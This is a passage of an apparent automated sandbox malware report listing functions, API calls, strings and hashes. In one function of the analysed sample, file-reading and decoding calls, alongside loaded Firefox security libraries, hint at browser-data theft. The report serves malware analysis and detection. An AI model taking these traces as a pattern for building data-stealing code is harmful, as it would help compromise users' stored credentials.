Opcode Fuzzy Hash: 8259de89bfbde49ab53180d3e810b9deec6107944c9e036c38e8419895e02503
Instruction Fuzzy Hash: 0F514074A08209EFDB20DFA1D955BAE77B5BF44305F10807AE802B76C0D778E985CB59

Uniqueness

Uniqueness Score: -1.00%

Function 6CCFD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CCFD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CCFD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CCFD52A
GetCurrentThreadId.KERNEL32 ref: 6CCFD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CCFD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CCFD55F
free.MOZGLUE(00000000), ref: 6CCFD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CCFD5D3
GetCurrentThreadId.KERNEL32 ref: 6CCFD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CCFD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CCFD652
GetCurrentThreadId.KERNEL32 ref: 6CCFD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CCFD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CCFD6A2

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 3b82df6dcf87e2b58e8d09aae5ce50f3f913a440bba56ffc25cf5110ae549128
Instruction ID: f592e56dfb9804772bca18c47392e4c2d2f87ee5a8b8bb58bf0affd7395ad304
Opcode Fuzzy Hash: 3b82df6dcf87e2b58e8d09aae5ce50f3f913a440bba56ffc25cf5110ae549128
Instruction Fuzzy Hash: AB517EB1604705EFD704DF35C484A9ABBB8FF89318F10862EEA5A87750EB74E845CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00411F30 Relevance: 19.7, APIs: 13, Instructions: 193stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00411F4E
memset.MSVCRT ref: 00411F65

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

lstrcat.KERNEL32(?,00000000), ref: 00411F9C
lstrcat.KERNEL32(?,042C60B8), ref: 00411FBB
lstrcat.KERNEL32(?,?), ref: 00411FCF
lstrcat.KERNEL32(?,042C6460), ref: 00411FE3

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00415490: GetFileAttributesA.KERNEL32(00000000,?,0040E9F4,?,00000000,?,00000000,0041D76E,0041D76B), ref: 0041549F

Part of subcall function 004096C0: StrStrA.SHLWAPI(00000000,042C61F0), ref: 0040971B
Part of subcall function 004096C0: memcmp.MSVCRT ref: 00409774

Part of subcall function 004093A0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004093CC
Part of subcall function 004093A0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004093F1
Part of subcall function 004093A0: LocalAlloc.KERNEL32(00000040,?), ref: 00409411
Part of subcall function 004093A0: ReadFile.KERNEL32(000000FF,?,00000000,'@,00000000), ref: 0040943A
Part of subcall function 004093A0: LocalFree.KERNEL32('@), ref: 00409470
Part of subcall function 004093A0: FindCloseChangeNotification.KERNEL32(000000FF), ref: 0040947A

Part of subcall function 00415AC0: GlobalAlloc.KERNEL32(00000000,00412087,00412087), ref: 00415AD3

StrStrA.SHLWAPI(?,042C8210), ref: 0041209D
GlobalFree.KERNEL32(?), ref: 00412199

Part of subcall function 004094A0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00404BAE,00000000,00000000), ref: 004094CF
Part of subcall function 004094A0: LocalAlloc.KERNEL32(00000040,?,?,?,00404BAE,00000000,?), ref: 004094E1
Part of subcall function 004094A0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00404BAE,00000000,00000000), ref: 0040950A
Part of subcall function 004094A0: LocalFree.KERNEL32(?,?,?,?,00404BAE,00000000,?), ref: 0040951F

Part of subcall function 004097F0: memcmp.MSVCRT ref: 0040980B
Part of subcall function 004097F0: memset.MSVCRT ref: 0040983E
Part of subcall function 004097F0: LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

lstrcat.KERNEL32(?,00000000), ref: 0041212A
StrCmpCA.SHLWAPI(?,0041D4AB,?,?,?,?,000003E8), ref: 00412147
lstrcat.KERNEL32(00000000,00000000), ref: 00412159
lstrcat.KERNEL32(00000000,?), ref: 0041216C
lstrcat.KERNEL32(00000000,0041D840), ref: 0041217B

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: lstrcat$Local$AllocFile$Freememset$BinaryCryptGlobalStringmemcmp$AttributesChangeCloseCreateFindFolderNotificationPathReadSizelstrcpy
String ID:
API String ID: 3662689742-0
Opcode ID: 36c557b0570699eea903d19c98cc913e6d9a782b508e14753a73fb5aa098a747
Instruction ID: d5c3215e2bd1f08faed5fb03d7604f0585b4cbbeb5c4b7daf79ee1030fe867fa
Opcode Fuzzy Hash: 36c557b0570699eea903d19c98cc913e6d9a782b508e14753a73fb5aa098a747
Instruction Fuzzy Hash: B97158B6900618BBCB24EBE0DD49FDE7779AF88304F004599F60997181EA78DB94CF94

Uniqueness

Uniqueness Score: -1.00%

Function 6CDDACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CDDACE2
malloc.MOZGLUE(00000001), ref: 6CDDACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CDDAD02
TlsGetValue.KERNEL32 ref: 6CDDAD3C
calloc.MOZGLUE(00000001,?), ref: 6CDDAD8C
PR_Unlock.NSS3 ref: 6CDDADC0
free.MOZGLUE(00000000), ref: 6CDDAE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CDDAE58
free.MOZGLUE(00000000), ref: 6CDDAE69
free.MOZGLUE(?), ref: 6CDDAE78
PR_Unlock.NSS3 ref: 6CDDAE8C
free.MOZGLUE(?), ref: 6CDDAEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CDDAEC7

Memory Dump Source

Source File: 00000000.00000002.2416036924.000000006CD61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD60000, based on PE: true

Associated: 00000000.00000002.2416019055.000000006CD60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2416177741.000000006CEFF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2416214710.000000006CF3E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2416231818.000000006CF3F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2416249980.000000006CF40000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2416270467.000000006CF45000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd60000_4JgB4mYxvJ.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 3c6c7f6a9b55aa3d4fa22308363e4912891f9516463b7647185e7c949060d07f
Instruction ID: 626072a2ac89808972315d911da99beb0e9daebf10892887e65c2aebeeaaa557
Opcode Fuzzy Hash: 3c6c7f6a9b55aa3d4fa22308363e4912891f9516463b7647185e7c949060d07f
Instruction Fuzzy Hash: FD51ACB0E11226DBDF10AF68C8417AE77B4AB16349F16C125D80CA7A61E331F914CBE2

Uniqueness

Uniqueness Score: -1.00%

Function 6CCEEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CCB4A68), ref: 6CCE945E
Part of subcall function 6CCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CCE9470
Part of subcall function 6CCE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CCE9482
Part of subcall function 6CCE9420: __Init_thread_footer.LIBCMT ref: 6CCE949F

GetCurrentThreadId.KERNEL32 ref: 6CCEEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CCEEC8C

Part of subcall function 6CCE94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CCE94EE
Part of subcall function 6CCE94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CCE9508

GetCurrentThreadId.KERNEL32 ref: 6CCEECA1
AcquireSRWLockExclusive.KERNEL32(6CD2F4B8), ref: 6CCEECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CCEECC5
ReleaseSRWLockExclusive.KERNEL32(6CD2F4B8), ref: 6CCEED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CCEED19
CloseHandle.KERNEL32(?), ref: 6CCEED28
free.MOZGLUE(00000000), ref: 6CCEED2F
ReleaseSRWLockExclusive.KERNEL32(6CD2F4B8), ref: 6CCEED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CCEEC94

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 2cc035a7b7e34db42fa4d47d6a2b590cabcd81be9546aba31e60c95860ab7566
Instruction ID: d303b9695940d38677091718af3ffdc8a98d9b438a9b493c97f229c3d6f36492
Opcode Fuzzy Hash: 2cc035a7b7e34db42fa4d47d6a2b590cabcd81be9546aba31e60c95860ab7566
Instruction Fuzzy Hash: EF21E775600114ABEB019F64D804A9A777DFB4B2ACF104618FF1957780EBB9D906CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CCE8ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6CCAEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCAEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6CCEB392,?,?,00000001), ref: 6CCE91F4

Part of subcall function 6CCDCBE8: GetCurrentProcess.KERNEL32(?,6CCA31A7), ref: 6CCDCBF1
Part of subcall function 6CCDCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CCA31A7), ref: 6CCDCBFA

Strings

marker-chart, xrefs: 6CCE905E
timeline-memory, xrefs: 6CCE9088
timeline-overview, xrefs: 6CCE907A
marker-table, xrefs: 6CCE906C
data, xrefs: 6CCE90E8
stack-chart, xrefs: 6CCE90B2
name, xrefs: 6CCE8F16
timeline-fileio, xrefs: 6CCE90A4
timeline-ipc, xrefs: 6CCE9096

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 39d13172677c4ab8263c8402f21c0dc132011e2a6e86a12e0d9139109b4d8459
Instruction ID: c57243e51b8f2a9be6e9679b43deabc1d60fef6f77f5ecd241a2168fa321e306
Opcode Fuzzy Hash: 39d13172677c4ab8263c8402f21c0dc132011e2a6e86a12e0d9139109b4d8459
Instruction Fuzzy Hash: 5CB1C4B0A0020A9BDF04CF99D496BEEBBB5FF89318F104419D506ABF90E735A945CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 6CCCC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CCCC5A3
WideCharToMultiByte.KERNEL32 ref: 6CCCC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CCCC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CCCCA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CCCCA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CCCCAA5

Strings

(null), xrefs: 6CCCC596
0, xrefs: 6CCCD30A

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 19a8b6117b643d957137a3b3fdbac6b36d011a1d43f6102611e093d07a2d6c63
Instruction ID: 8b2974d016041c1218930ae37d9c74aef1a727d4267e33912bfd209d5e7bbf67
Opcode Fuzzy Hash: 19a8b6117b643d957137a3b3fdbac6b36d011a1d43f6102611e093d07a2d6c63
Instruction Fuzzy Hash: 99A198317083429FDB10DF29C58871ABBF5AF8A348F08882DE999D3641E735E845CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CCA3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CCA3284,?,?,6CCC56F6), ref: 6CCA3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CCA3284,?,?,6CCC56F6), ref: 6CCA34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CCA3284,?,?,6CCC56F6), ref: 6CCA34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CCA350E
__Init_thread_footer.LIBCMT ref: 6CCA3522
__aulldiv.LIBCMT ref: 6CCA3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CCA3284,?,?,6CCC56F6), ref: 6CCA357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CCA3284,?,?,6CCC56F6), ref: 6CCA3592

Part of subcall function 6CCDAB89: EnterCriticalSection.KERNEL32(6CD2E370,?,?,?,6CCA34DE,6CD2F6CC,?,?,?,?,?,?,?,6CCA3284), ref: 6CCDAB94
Part of subcall function 6CCDAB89: LeaveCriticalSection.KERNEL32(6CD2E370,?,6CCA34DE,6CD2F6CC,?,?,?,?,?,?,?,6CCA3284,?,?,6CCC56F6), ref: 6CCDABD1

Strings

kernel32.dll, xrefs: 6CCA34EA
GetSystemTimePreciseAsFileTime, xrefs: 6CCA3508

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: ea87507a11a3eb2fc56e147a42b54e38e219577e464ef128688f3652a6350948
Instruction ID: 0348626c67beabcbe7be5caee33fc374e64e06307182e171cf97b0de649fc2de
Opcode Fuzzy Hash: ea87507a11a3eb2fc56e147a42b54e38e219577e464ef128688f3652a6350948
Instruction Fuzzy Hash: 85318471B00216ABEF04EFB9C95CEAA77BAFB45305F144419E705936A0EB78E905CF60

Uniqueness

Uniqueness Score: -1.00%

Function 6CE2ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6CE2DE64), ref: 6CE2ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE2ED22

Part of subcall function 6CE3B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF118D0,?), ref: 6CE3B095

PL_FreeArenaPool.NSS3(?), ref: 6CE2ED4A
PL_FinishArenaPool.NSS3(?), ref: 6CE2ED6B
PR_CallOnce.NSS3(6CF42AA4,6CE412D0), ref: 6CE2ED38

Part of subcall function 6CD64C70: TlsGetValue.KERNEL32(?,?,?,6CD63921,6CF414E4,6CEACC70), ref: 6CD64C97
Part of subcall function 6CD64C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CD63921,6CF414E4,6CEACC70), ref: 6CD64CB0
Part of subcall function 6CD64C70: PR_Unlock.NSS3(?,?,?,?,?,6CD63921,6CF414E4,6CEACC70), ref: 6CD64CC9

SECOID_FindOID_Util.NSS3(?), ref: 6CE2ED52
PR_CallOnce.NSS3(6CF42AA4,6CE412D0), ref: 6CE2ED83
PL_FreeArenaPool.NSS3(?), ref: 6CE2ED95
PL_FinishArenaPool.NSS3(?), ref: 6CE2ED9D

Part of subcall function 6CE464F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CE4127C,00000000,00000000,00000000), ref: 6CE4650E

Strings

security, xrefs: 6CE2ED06

Memory Dump Source

Source File: 00000000.00000002.2416036924.000000006CD61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD60000, based on PE: true

Associated: 00000000.00000002.2416019055.000000006CD60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2416177741.000000006CEFF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2416214710.000000006CF3E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2416231818.000000006CF3F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2416249980.000000006CF40000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2416270467.000000006CF45000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd60000_4JgB4mYxvJ.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 803281366310a36acb9592b29b33315da956addf2881ffe10ba349478a1f08f1
Instruction ID: 58c18c4c6cf058158cc2c7d038f0cf56c62754dbae4d15004188c3dd7083dcc5
Opcode Fuzzy Hash: 803281366310a36acb9592b29b33315da956addf2881ffe10ba349478a1f08f1
Instruction Fuzzy Hash: 5E115B7690062467DB109731BC44BBB7278AF0260DF218438E804A3F41F72AA50DC6E6

Uniqueness

Uniqueness Score: -1.00%

Function 6CCA4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CCE4843,?), ref: 6CCA45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CCE4843,?), ref: 6CCA468A
free.MOZGLUE(?,?,?,?,?,?,6CCE4843,?), ref: 6CCA46C9
free.MOZGLUE(?), ref: 6CCA46EF
free.MOZGLUE(?), ref: 6CCA4712
free.MOZGLUE(?), ref: 6CCA4735
free.MOZGLUE(?), ref: 6CCA4758
free.MOZGLUE(?), ref: 6CCA477B
free.MOZGLUE(?), ref: 6CCA479E

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: dddcb63bfed77c0daec61beee42d50bc3f9d4ea5d90f9f2cb3da0d11f858433f
Instruction ID: 8a18b4102522e82f120c6274166ae23c739f9caaf1c138b373773ab7582a5895
Opcode Fuzzy Hash: dddcb63bfed77c0daec61beee42d50bc3f9d4ea5d90f9f2cb3da0d11f858433f
Instruction Fuzzy Hash: C4B1E371A005528FDB18CFACD89876D76B2AF42328F185629E416DFB96FB31D841CB81

Uniqueness

Uniqueness Score: -1.00%

Function 6CD0AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CD0AC52
CreateFileMappingW.KERNEL32 ref: 6CD0AC7D
GetSystemInfo.KERNEL32 ref: 6CD0AC98
MapViewOfFile.KERNEL32 ref: 6CD0ACB0
GetSystemInfo.KERNEL32 ref: 6CD0ACCD
MapViewOfFile.KERNEL32 ref: 6CD0AD05
UnmapViewOfFile.KERNEL32 ref: 6CD0AD1C
CloseHandle.KERNEL32 ref: 6CD0AD28
UnmapViewOfFile.KERNEL32 ref: 6CD0AD37
CloseHandle.KERNEL32 ref: 6CD0AD43
CloseHandle.KERNEL32 ref: 6CD0AD67

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: b63018aad580e9b9296371c42f88ea7ea4022eb3c23602afb4648a5d494b51f6
Instruction ID: b8cce13024cd2bf2793e6068c543930b03dc91a2fe8e987798b6c8e24dff8c7f
Opcode Fuzzy Hash: b63018aad580e9b9296371c42f88ea7ea4022eb3c23602afb4648a5d494b51f6
Instruction Fuzzy Hash: FA3160B1A047059FEB00AF7CD64826EBBF4BF85305F05492DEA8A97251EB749448CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CCA1E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CD2E784), ref: 6CCA1EC1
LeaveCriticalSection.KERNEL32(6CD2E784), ref: 6CCA1EE1
EnterCriticalSection.KERNEL32(6CD2E744), ref: 6CCA1F38
LeaveCriticalSection.KERNEL32(6CD2E744), ref: 6CCA1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6CCA1F83
LeaveCriticalSection.KERNEL32(6CD2E784), ref: 6CCA1FC0
EnterCriticalSection.KERNEL32(6CD2E784), ref: 6CCA1FE2
LeaveCriticalSection.KERNEL32(6CD2E784), ref: 6CCA1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CCA2019

Strings

MOZ_CRASH(), xrefs: 6CCA2000

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: fa58bb63a62b14f5261f01ca9dfedb363a191889dfabef83d70ca3a0e4bcc684
Instruction ID: 9123228a0a97a3d189569fde3c89bdf10330073179f14616a75f8f5f2d50f4a8
Opcode Fuzzy Hash: fa58bb63a62b14f5261f01ca9dfedb363a191889dfabef83d70ca3a0e4bcc684
Instruction Fuzzy Hash: AE41C271B003169BEF009FB9CC88BAA76B9FB49349F010125EB4597B80E7B9D8058BD1

Uniqueness

Uniqueness Score: -1.00%

Function 6CCB7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCB7EA7
malloc.MOZGLUE(00000001), ref: 6CCB7EB3

Part of subcall function 6CCBCAB0: EnterCriticalSection.KERNEL32(?), ref: 6CCBCB49
Part of subcall function 6CCBCAB0: LeaveCriticalSection.KERNEL32(?), ref: 6CCBCBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CCB7EC4
mozalloc_abort.MOZGLUE(?), ref: 6CCB7F19
malloc.MOZGLUE(?), ref: 6CCB7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CCB7F4D

Strings

d, xrefs: 6CCB7F89

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

